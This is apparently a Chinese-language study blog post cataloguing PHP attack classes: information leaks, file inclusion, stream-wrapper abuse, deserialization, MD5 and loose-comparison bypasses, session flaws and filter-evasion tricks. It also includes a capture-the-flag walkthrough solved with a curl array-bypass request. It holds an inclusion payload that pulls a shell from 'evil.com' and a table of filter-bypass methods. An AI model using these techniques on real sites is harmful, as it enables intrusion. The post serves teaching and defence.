PHP相关攻击
PHP的学习链接:PHP
1.基础信息泄露与配置缺陷
1.1phpinfo()信息泄露
1 | phpinfo(); |
泄露内容:
- PHP版本号、编译选项
- 系统环境变量(PATH、USER等)
- 扩展加载情况(危险扩展如exec、system)
- 绝对路径(DOCUMENT_ROOT、SCRIPT_FILENAME)
- Session存储位置、上传临时目录
1.2错误报告泄露
1 | // 危险配置 |
泄露内容:
- 绝对路径
- 数据库报错
- 表结构
- SQL语句片段
2.文件包含漏洞(LFI/RFI)
2.1本地文件包含(LFI)
漏洞代码:
1 | $page = $_GET['page']; |
攻击载荷:
1 | // 读取系统文件 |
前提: allow_url_include = On
1 | ?page=http://evil.com/shell.txt |
3.PHP伪协议利用
| 协议 | 用途 | 利用场景 |
|---|---|---|
php://filter |
读取文件源码 | LFI时读取PHP源码 |
php://input |
读取POST原始数据 | 执行任意代码 |
php://temp |
临时流 | 绕过上传限制 |
data:// |
数据流封装 | RFI执行代码 |
expect:// |
执行外部命令 | 需安装expect扩展 |
利用示例:
1 | // 读取base64编码的源码 |
4.反序列化漏洞与POP链构造
4.1 魔术方法利用
1 | class User { |
4.2 POP链(Property-Oriented Programming)
常见可利用魔术方法:
wakeup() - 反序列化时触发
destruct() - 对象销毁时触发
toString() - 对象被当作字符串时触发
call()/get() /set() - 属性/方法访问时触发
5.弱类型比较与哈希欺骗
5.1 松散比较(==)陷阱
1 | var_dump("admin" == 0); // true |
5.2 哈希绕过案例
1 | // MD5绕过:0e开头的哈希值 |
5.2.1例题
MD5+数组绕过
题目网页链接:node7.anna.nssctf.cn:27743
1 |
|
解题思路
首先分析一下题目,要拿到 flag,必须同时满足两个条件:
1.$name != $password:两个变量的值不相等
2.md5($name) == md5($password):两个变量的 MD5 计算结果相等
PHP有两个“漏洞”特性,刚好可以满足这两个条件:
1.MD5对数组的处理:给md5()函数传一个数组,PHP不会报错,而是直接返回NULL,即md5(任意数组) == md5(任意数组) 永远成立,因为两边都是NULL.
2.!=对数组的处理:在 PHP 中,两个不同的数组,用 != 比较时,结果永远是true,所以只要 $name 和 $password 是两个不同的数组,$name != $password 就会成立。
解题方法
用curl命令,在终端执行:
1 | curl -X POST "http://node7.anna.nssctf.cn:27743/?name[]=1" -d "password[]=2" |
也可以用这个顺序:
1 | curl -X POST -d "POST参数" "网址?GET参数" |
这样两个条件就都满足了,服务器会直接返回 flag。

小知识点(新手友好,老手忽略)
- curl命令 是 Linux / Mac / Windows 自带的命令行工具,用来模拟浏览器发请求,它的作用是发 GET / POST 请求、传参数、看服务器返回结果。
- -X是 curl 的请求方法选项,用来指定 HTTP 请求方法。GET是默认的请求方法,POST方法需要放在请求体里。
- -d用来发送POST请求的数据,本题中
"password[]=2"就是 POST 数据,password是参数名,[]是数组语法,=2也是数组里的值,其实等于多少都行,重点是我们只需要它是一个数组。 - ?name[]是 GET 请求的参数语法。?是参数的标识,name是参数名,[]是PHP里的数组语法。
=1是数组里的值,同样等于多少都行。
5.3防御建议
1 | // 使用严格比较 |
6.Session安全风险
6.1 Session序列化引擎不一致
1 | // php.ini配置 |
6.2 Session文件包含
1 | // Session文件默认路径 |
7.绕过与防御措施
7.1 常见绕过技巧
| 防御措施 | 绕过方式 |
|---|---|
addslashes() |
宽字节注入(GBK) |
htmlspecialchars() |
未设置ENT_QUOTES时绕过单引号 |
preg_match('/\w+/') |
使用换行符%0a绕过 |
str_replace() |
双写绕过(如<script>→<scr<script>ipt>) |
| 黑名单过滤 | 利用PHP函数别名、大小写、花括号变体 |
7.2 安全配置清单
1 | ; php.ini 安全配置示例 |
All articles on this blog are licensed under CC BY-NC-SA 4.0 unless otherwise stated.